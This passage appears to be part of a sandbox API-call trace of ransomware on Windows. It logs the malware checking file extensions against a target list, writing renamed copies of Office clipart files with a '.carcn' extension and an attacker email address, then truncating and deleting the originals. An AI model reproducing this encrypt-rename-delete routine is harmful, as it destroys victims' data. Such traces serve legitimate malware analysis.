(lpString=".docx") returned 5 [0273.504] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.505] lstrlenW (lpString=".pdf") returned 4 [0273.505] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.505] lstrlenW (lpString=".xls") returned 4 [0273.505] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.505] lstrlenW (lpString=".xlsx") returned 5 [0273.505] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.505] lstrlenW (lpString=".ppt") returned 4 [0273.505] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0273.505] lstrlenW (lpString=".zip") returned 4 [0273.505] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.505] lstrlenW (lpString=".rar") returned 4 [0273.505] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.505] lstrlenW (lpString=".bz2") returned 4 [0273.505] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.505] lstrlenW (lpString=".7z") returned 3 [0273.505] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0273.505] lstrlenW (lpString=".dbf") returned 4 [0273.505] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0273.505] lstrlenW (lpString=".1cd") returned 4 [0273.506] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0273.506] lstrlenW (lpString=".jpg") returned 4 [0273.506] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.506] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0273.506] lstrlenW (lpString="DD01145_.WMF") returned 12 [0273.506] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0275.941] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=2780) returned 1 [0275.941] CloseHandle (hObject=0x554) returned 1 [0275.941] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf")) returned 0x220 [0275.942] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0275.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0275.942] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.942] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0275.943] GetLastError () returned 0x0 [0275.943] ReadFile (in: hFile=0x554, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0xadc, lpOverlapped=0x0) returned 1 [0276.294] WriteFile (in: hFile=0x54c, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xae0, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xae0, lpOverlapped=0x0) returned 1 [0276.294] ReadFile (in: hFile=0x554, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0276.295] WriteFile (in: hFile=0x54c, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0276.295] SetEndOfFile (hFile=0x54c) returned 1 [0276.313] CloseHandle (hObject=0x54c) returned 1 [0276.333] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.333] SetEndOfFile (hFile=0x554) returned 1 [0276.336] CloseHandle (hObject=0x554) returned 1 [0276.336] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0276.360] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf")) returned 1 [0276.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0276.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0276.361] lstrlenW (lpString=".doc") returned 4 [0276.361] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0276.361] lstrlenW (lpString=".docx") returned 5 [0276.361] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0276.361] lstrlenW (lpString=".pdf") returned 4 [0276.361] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0276.361] lstrlenW (lpString=".xls") returned 4 [0276.361] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0276.361] lstrlenW (lpString=".xlsx") returned 5 [0276.361] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0276.361] lstrlenW (lpString=".ppt") returned 4 [0276.361] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0276.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0276.361] lstrlenW (lpString=".zip") returned 4 [0276.361] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0276.361] lstrlenW (lpString=".rar") returned 4 [0276.362] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0276.362] lstrlenW (lpString=".bz2") returned 4 [0276.362] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0276.362] lstrlenW (lpString=".7z") returned 3 [0276.362] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0276.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0276.362] lstrlenW (lpString=".dbf") returned 4 [0276.362] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0276.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0276.362] lstrlenW (lpString=".1cd") returned 4 [0276.362] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0276.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0276.362] lstrlenW (lpString=".jpg") returned 4 [0276.362] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0276.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0276.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0276.362] lstrlenW (lpString=".doc") returned 4 [0276.362] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0276.362] lstrlenW (lpString=".docx") returned 5 [0276.362] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0276.363] lstrlenW (lpString=".pdf") returned 4 [0276.363] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0276.363] lstrlenW (lpString=".xls") returned 4 [0276.363] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0276.363] lstrlenW (lpString=".xlsx") returned 5 [0276.363] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0276.363] lstrlenW (lpString=".ppt") returned 4 [0276.363] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0276.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0276.363] lstrlenW (lpString=".zip") returned 4 [0276.363] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0276.363] lstrlenW (lpString=".rar") returned 4 [0276.363] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0276.363] lstrlenW (lpString=".bz2") returned 4 [0276.363] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0276.363] lstrlenW (lpString=".7z") returned 3 [0276.363] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0276.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0276.363] lstrlenW (lpString=".dbf") returned 4 [0276.363] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0276.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0276.363] lstrlenW (lpString=".1cd") returned 4 [0276.363] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0276.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0276.363] lstrlenW (lpString=".jpg") returned 4 [0276.364] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0276.364] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0276.364] lstrlenW (lpString="DD01170_.WMF") returned 12 [0276.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0276.365] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=2404) returned 1 [0276.365] CloseHandle (hObject=0x554) returned 1 [0276.365] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf")) returned 0x220 [0276.365] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0276.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0276.366] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.366] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c [0276.367] GetLastError () returned 0x0 [0276.367] ReadFile (in: hFile=0x554, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x964, lpOverlapped=0x0) returned 1 [0276.377] WriteFile (in: hFile=0x43c, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0x970, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0x970, lpOverlapped=0x0) returned 1 [0276.378] ReadFile (in: hFile=0x554, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0276.378] WriteFile (in: hFile=0x43c, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0276.378] SetEndOfFile (hFile=0x43c) returned 1 [0276.379] CloseHandle (hObject=0x43c) returned 1 [0276.379] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.379] SetEndOfFile (hFile=0x554) returned 1 [0276.382] CloseHandle (hObject=0x554) returned 1 [0276.382] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0276.383] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf")) returned 1 [0276.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0276.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0276.384] lstrlenW (lpString=".doc") returned 4 [0276.384] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0276.384] lstrlenW (lpString=".docx") returned 5 [0276.384] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0276.384] lstrlenW (lpString=".pdf") returned 4 [0276.384] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0276.384] lstrlenW (lpString=".xls") returned 4 [0276.384] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0276.384] lstrlenW (lpString=".xlsx") returned 5 [0276.384] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0276.384] lstrlenW (lpString=".ppt") returned 4 [0276.384] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0276.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0276.384] lstrlenW (lpString=".zip") returned 4 [0276.385] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0276.385] lstrlenW (lpString=".rar") returned 4 [0276.385] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0276.385] lstrlenW (lpString=".bz2") returned 4 [0276.385] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0276.385] lstrlenW (lpString=".7z") returned 3 [0276.385] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0276.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0276.385] lstrlenW (lpString=".dbf") returned 4 [0276.385] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0276.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0276.385] lstrlenW (lpString=".1cd") returned 4 [0276.385] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0276.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0276.385] lstrlenW (lpString=".jpg") returned 4 [0276.385] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0276.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0276.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0276.385] lstrlenW (lpString=".doc") returned 4 [0276.385] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0276.385] lstrlenW (lpString=".docx") returned 5 [0276.385] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0276.385] lstrlenW (lpString=".pdf") returned 4 [0276.385] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0276.386] lstrlenW (lpString=".xls") returned 4 [0276.386] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0276.386] lstrlenW (lpString=".xlsx") returned 5 [0276.386] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0276.386] lstrlenW (lpString=".ppt") returned 4 [0276.386] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0276.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0276.386] lstrlenW (lpString=".zip") returned 4 [0276.386] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0276.386] lstrlenW (lpString=".rar") returned 4 [0276.386] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0276.386] lstrlenW (lpString=".bz2") returned 4 [0276.386] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0276.386] lstrlenW (lpString=".7z") returned 3 [0276.386] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0276.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0276.386] lstrlenW (lpString=".dbf") returned 4 [0276.386] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0276.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0276.386] lstrlenW (lpString=".1cd") returned 4 [0276.386] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0276.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0276.386] lstrlenW (lpString=".jpg") returned 4 [0276.386] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0276.387] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0276.387] lstrlenW (lpString="DD01171_.WMF") returned 12 [0276.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0276.387] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=2052) returned 1 [0276.387] CloseHandle (hObject=0x554) returned 1 [0276.388] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf")) returned 0x220 [0276.388] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0276.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0276.388] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.388] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c [0276.390] GetLastError () returned 0x0 [0276.390] ReadFile (in: hFile=0x554, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x804, lpOverlapped=0x0) returned 1 [0276.523] WriteFile (in: hFile=0x43c, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0x810, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0x810, lpOverlapped=0x0) returned 1 [0276.806] ReadFile (in: hFile=0x554, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0276.807] WriteFile (in: hFile=0x43c, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0276.807] SetEndOfFile (hFile=0x43c) returned 1 [0276.808] CloseHandle (hObject=0x43c) returned 1 [0276.808] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.808] SetEndOfFile (hFile=0x554) returned 1 [0276.812] CloseHandle (hObject=0x554) returned 1 [0276.812] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0277.631] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf")) returned 1 [0277.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0277.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0277.632] lstrlenW (lpString=".doc") returned 4 [0277.632] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0277.632] lstrlenW (lpString=".docx") returned 5 [0277.632] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0277.632] lstrlenW (lpString=".pdf") returned 4 [0277.632] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0277.632] lstrlenW (lpString=".xls") returned 4 [0277.632] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0277.632] lstrlenW (lpString=".xlsx") returned 5 [0277.632] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0277.632] lstrlenW (lpString=".ppt") returned 4 [0277.632] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0277.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0277.632] lstrlenW (lpString=".zip") returned 4 [0277.632] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0277.632] lstrlenW (lpString=".rar") returned 4 [0277.632] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0277.632] lstrlenW (lpString=".bz2") returned 4 [0277.632] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0277.633] lstrlenW (lpString=".7z") returned 3 [0277.633] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0277.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0277.633] lstrlenW (lpString=".dbf") returned 4 [0277.633] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0277.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0277.639] lstrlenW (lpString=".1cd") returned 4 [0277.639] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0277.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0277.639] lstrlenW (lpString=".jpg") returned 4 [0277.639] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0277.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0277.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0277.639] lstrlenW (lpString=".doc") returned 4 [0277.639] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0277.639] lstrlenW (lpString=".docx") returned 5 [0277.639] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0277.639] lstrlenW (lpString=".pdf") returned 4 [0277.639] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0277.639] lstrlenW (lpString=".xls") returned 4 [0277.639] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0277.640] lstrlenW (lpString=".xlsx") returned 5 [0277.640] lstrcmpiW 